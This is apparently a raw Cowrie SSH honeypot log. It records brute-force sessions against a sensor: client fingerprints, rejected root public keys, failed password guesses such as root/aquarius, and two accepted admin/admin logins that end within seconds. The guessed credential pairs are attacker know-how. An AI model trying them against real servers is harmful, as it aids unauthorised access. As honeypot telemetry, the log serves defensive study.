{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:80:e3:cc:4b:c8:4d:2f:3e:e5:c7:2f:5d:40:cd:93","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPCCtofBTsGlnz4zh7cMxDJOTJmk5nkpRjOCdVmASAhktM72jb9dDM01Gv+SzcGu5bluk9gPNc4j+RHkjkn+okws21W2spAVtPm5UhIg8mrJAFLYdEcDWnZuaJdj+K7FhJ4kxM6zenq8cIt4J1DoLJPR0Z58bhqfQiqfta+2ZaCfAAAAFQDXm9NFXzfaz0kyxPWp5+qreaOqwQAAAIAh3P7WZ14CRpH+6DZehSJpFlmVgOaTmdCZWDS1NbAVt24irwcWbLPkJXRR+JnloAPkLTTYcKTU3aWC5eZMt0gCujPBX+crGaxsiusBb+SVB1UYwkY2jAG1JuVq30NM4U2XRzkLhTK03kDqt202ECCV/rGsDkAHS4gbYRqSpJglkgAAAIA9IwkaCYiWYPT8CrUhbr3Q/mNXz0FLMVnHajX4S1pS2+Ebz7sKohCjuwzciKlwBGL8WMVGuP0/HDDqdrMSaYVnHhmtHFEK1sixubI2x3AbKlk/qYXWCCfw9E7F7t7BYIHiVGt5Ks0QM0xxoZgLUGXOlV345pTXDOZqAfR0CodKjw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:04.780879Z","src_ip":"148.113.201.25","session":"798962ef4d0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:c0:9e:e3:a5:bc:16:62:70:2b:8b:2c:dc:a8:33:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbw7iyhpHU2eEGnZHBaZDnNu8SIlzGQNOeo5vJB0+ivhoSoOZ/cazOKGiAal4J1iZSTnjLfXadBEzUB3a5yMzxn+AFl8JqNOZnuAd3bQW1PfVCNby1BSDLwPUievUOWqztTRlDtImESTu1rxKJof8sjH1FWjZsGz3DgLXYCN2GWzjVqlcPuBO3A9eSEm5+vL9zrGBK3wgZCODQ5QotdXFTSEYwYyNEfj4sZFTkT5vef2L6m0s2Iby9gb+K7g2vs4qctLzqgZ0hBALWAfxayoLSVwm75hwtkPwoVyYRUP8Qy6tEbpTzv+3PAfVM79E3VjXi6l1896xW9KIsKXbOoOn9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:c0:9e:e3:a5:bc:16:62:70:2b:8b:2c:dc:a8:33:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:04.806183Z","src_ip":"148.113.201.25","session":"798962ef4d0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:c0:9e:e3:a5:bc:16:62:70:2b:8b:2c:dc:a8:33:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbw7iyhpHU2eEGnZHBaZDnNu8SIlzGQNOeo5vJB0+ivhoSoOZ/cazOKGiAal4J1iZSTnjLfXadBEzUB3a5yMzxn+AFl8JqNOZnuAd3bQW1PfVCNby1BSDLwPUievUOWqztTRlDtImESTu1rxKJof8sjH1FWjZsGz3DgLXYCN2GWzjVqlcPuBO3A9eSEm5+vL9zrGBK3wgZCODQ5QotdXFTSEYwYyNEfj4sZFTkT5vef2L6m0s2Iby9gb+K7g2vs4qctLzqgZ0hBALWAfxayoLSVwm75hwtkPwoVyYRUP8Qy6tEbpTzv+3PAfVM79E3VjXi6l1896xW9KIsKXbOoOn9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:04.811565Z","src_ip":"148.113.201.25","session":"798962ef4d0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:97:37:26:62:21:74:35:0f:21:da:99:46:de:1f:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDICJRMq/e0nI5RJ1Tur5Dn5aGuyPeC0CV31ZGIpgxKaPtDamWjnMWHnREiyNN7DZjk0gRkMKjGZjyvictUbGYdKo+xN/H36UJ4AjI0zm+2FRqnHCEeAz2KfD5ECOeyUKiQRD+PiZvjq88Nz6O8NhimKeknFIY5AC/qie5YzvEvBLzuniIbtB6BS1zGpgMs/cVhmMxvTqgqXVONeA7vSjjQVI86g3dIeGDo7S/zQ7dvRjOWrrYXy63cTcDm7FqoO6FwPhf6zjvh3Kztc5bAwzhnNA0UUNozUv1kDQGmwwbttrbLV5XJk+ZC3WfMH1XoyuoXUsXGdXmQBduOBeKHPYFB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:97:37:26:62:21:74:35:0f:21:da:99:46:de:1f:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:04.836772Z","src_ip":"148.113.201.25","session":"798962ef4d0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:97:37:26:62:21:74:35:0f:21:da:99:46:de:1f:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDICJRMq/e0nI5RJ1Tur5Dn5aGuyPeC0CV31ZGIpgxKaPtDamWjnMWHnREiyNN7DZjk0gRkMKjGZjyvictUbGYdKo+xN/H36UJ4AjI0zm+2FRqnHCEeAz2KfD5ECOeyUKiQRD+PiZvjq88Nz6O8NhimKeknFIY5AC/qie5YzvEvBLzuniIbtB6BS1zGpgMs/cVhmMxvTqgqXVONeA7vSjjQVI86g3dIeGDo7S/zQ7dvRjOWrrYXy63cTcDm7FqoO6FwPhf6zjvh3Kztc5bAwzhnNA0UUNozUv1kDQGmwwbttrbLV5XJk+ZC3WfMH1XoyuoXUsXGdXmQBduOBeKHPYFB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:04.842529Z","src_ip":"148.113.201.25","session":"798962ef4d0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:ac:94:a8:43:6f:35:3f:d8:51:3f:0d:e3:c5:65:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf0Ix4QAVg72LWV+HqDZMUJJC0SRNx350gX308TESa0/7JtWVYgInWLLKroSTy89YJKGj+D/hzilkn/MSxb7V6wI9VuS3bzKOrf4tQxztwuZttzYRN/qzmPh4xU+3N7R5v7Jms6qaTPSBAT9OhsNCwvxIAi0kHZHqqcbQOMM8W2wueGikXRfoau0aJ+ax5RdwuxK30/2Ge4JstP0cACXo1pt8vjBo2wYVmRTjwOqtwIFRE0LP7HvkxoU4PgNzyJYMoGWyoyQmuBzfyp7LT+HUCO/aY8147u+69+EDdA7GkGAB/zN+jclWZWu61cfJ0eu0X3hu5doDe9g5mcxDxNLXP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:ac:94:a8:43:6f:35:3f:d8:51:3f:0d:e3:c5:65:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:04.864616Z","src_ip":"148.113.201.25","session":"798962ef4d0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:ac:94:a8:43:6f:35:3f:d8:51:3f:0d:e3:c5:65:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf0Ix4QAVg72LWV+HqDZMUJJC0SRNx350gX308TESa0/7JtWVYgInWLLKroSTy89YJKGj+D/hzilkn/MSxb7V6wI9VuS3bzKOrf4tQxztwuZttzYRN/qzmPh4xU+3N7R5v7Jms6qaTPSBAT9OhsNCwvxIAi0kHZHqqcbQOMM8W2wueGikXRfoau0aJ+ax5RdwuxK30/2Ge4JstP0cACXo1pt8vjBo2wYVmRTjwOqtwIFRE0LP7HvkxoU4PgNzyJYMoGWyoyQmuBzfyp7LT+HUCO/aY8147u+69+EDdA7GkGAB/zN+jclWZWu61cfJ0eu0X3hu5doDe9g5mcxDxNLXP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:04.868934Z","src_ip":"148.113.201.25","session":"798962ef4d0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:04.909090Z","src_ip":"148.113.201.25","session":"798962ef4d0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":46048,"dst_ip":"10.17.0.5","dst_port":22,"session":"04f4ddcfd414","protocol":"ssh","message":"New connection: 43.135.166.146:46048 (10.17.0.5:22) [session: 04f4ddcfd414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:05.264113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:05.269233Z","src_ip":"43.135.166.146","session":"04f4ddcfd414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:05.338139Z","src_ip":"43.135.166.146","session":"04f4ddcfd414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aquarius","message":"login attempt [root/aquarius] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:05.645288Z","src_ip":"43.135.166.146","session":"04f4ddcfd414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:06.717497Z","src_ip":"43.135.166.146","session":"04f4ddcfd414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":51743,"dst_ip":"159.203.135.109","dst_port":22,"session":"919f8277ad0a","protocol":"ssh","message":"New connection: 205.254.166.156:51743 (159.203.135.109:22) [session: 919f8277ad0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:34.309054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:34.315072Z","src_ip":"205.254.166.156","session":"919f8277ad0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:34.527869Z","src_ip":"205.254.166.156","session":"919f8277ad0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0p3nsh3ll","message":"login attempt [root/0p3nsh3ll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:35.404236Z","src_ip":"205.254.166.156","session":"919f8277ad0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:36.625989Z","src_ip":"205.254.166.156","session":"919f8277ad0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":36542,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd48cdc61e09","protocol":"ssh","message":"New connection: 190.85.41.170:36542 (159.203.135.109:22) [session: dd48cdc61e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:47.579836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:47.585517Z","src_ip":"190.85.41.170","session":"dd48cdc61e09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:47.666026Z","src_ip":"190.85.41.170","session":"dd48cdc61e09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"valheim","password":"123","message":"login attempt [valheim/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:48.005226Z","src_ip":"190.85.41.170","session":"dd48cdc61e09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.111.81","src_port":60620,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ee8ec57050e","protocol":"ssh","message":"New connection: 146.190.111.81:60620 (159.203.135.109:22) [session: 7ee8ec57050e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:48.425703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:48.429493Z","src_ip":"146.190.111.81","session":"7ee8ec57050e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:49.083864Z","src_ip":"190.85.41.170","session":"dd48cdc61e09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:50.119999Z","src_ip":"146.190.111.81","session":"7ee8ec57050e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:50.609757Z","src_ip":"146.190.111.81","session":"7ee8ec57050e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:50.850951Z","src_ip":"146.190.111.81","session":"7ee8ec57050e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":5494,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ade2c82f1d7","protocol":"ssh","message":"New connection: 130.12.180.51:5494 (159.203.135.109:22) [session: 8ade2c82f1d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:50.939242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:50.947723Z","src_ip":"130.12.180.51","session":"8ade2c82f1d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:51.030539Z","src_ip":"130.12.180.51","session":"8ade2c82f1d7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:51.276858Z","src_ip":"130.12.180.51","session":"8ade2c82f1d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:51.799613Z","src_ip":"130.12.180.51","session":"8ade2c82f1d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":35510,"dst_ip":"10.17.0.5","dst_port":22,"session":"1da525c9fc99","protocol":"ssh","message":"New connection: 43.135.166.146:35510 (10.17.0.5:22) [session: 1da525c9fc99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:29:30.910098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:29:30.918057Z","src_ip":"43.135.166.146","session":"1da525c9fc99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:29:30.988472Z","src_ip":"43.135.166.146","session":"1da525c9fc99","protocol":"ssh"}
